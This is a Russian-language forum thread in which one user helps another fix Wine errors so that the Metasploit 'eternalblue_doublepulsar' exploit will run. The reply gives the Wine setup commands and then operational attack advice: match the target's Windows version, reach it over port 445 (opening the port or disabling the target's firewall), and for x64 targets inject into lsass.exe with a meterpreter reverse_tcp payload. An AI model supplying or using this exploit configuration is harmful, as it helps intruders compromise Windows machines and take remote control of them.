Благодарю за ответ, но я не подумал упомянуть, что ошибка эта возникает при тестировании эксплойта "eternalblue_doublepulsar", поэтому после проделанных манипуляций появляется ошибка другого рода - wine: '/root/.wine' is a 64-bit installation, it cannot be used with a 32-bit wineserver.
Привет, тоже хотел побаловаться с этим и наткнулся на подобную ошибку. Долго искал решение, сутками копаясь на форумах и хочу поделиться тем, как я решил эту проблему у себя.
Начну с команд, а после мои комментарии к этому.
Код:
dpkg --add-architecture i386
apt-get update
apt-get install wine
apt-get install winetricks
apt-get install wine32
rm -rf /root/.wine
wine --config
winecfg
У тебя откроется окно с настройками Wine.
В окне "Приложения" в вкладке "Версия Windows" вместо "По умолчанию" выстави версию той OC, на которую нужно осуществить атаку (у меня это была Вин7), нажми "Применить"
!!! Но не закрывай окно настроек wine!!! Не знаю почему, но при закрытии окна Wine, я опять возвращался к ошибке "WineHID".
Да-да, на протяжении всей атаки окно с настройками Wine должно быть открыто, не знаю почему так.
Парочка замечаний к эксплоиту:
- Атака не удавалась на меньшинстве машин, всё зависит от сборки Windows.
- Атаку удается осуществить исключительно по 445 порту. Тебе надо будет как-то его открыть: добавив в исключения брандмауэра или отключив сам брандмауэр.
- Если нужно будет осуществить атаку на x64 системы, нужно будет указать следующие настройки в эксплоите:
Код:
set PROCESSINJECT lsass.exe
set TARGETARCHITECTURE x64
set payload windows/x64/meterpreter/reverse_tcp
Надеюсь ответ поможет решить проблему и тебе.
Удачи.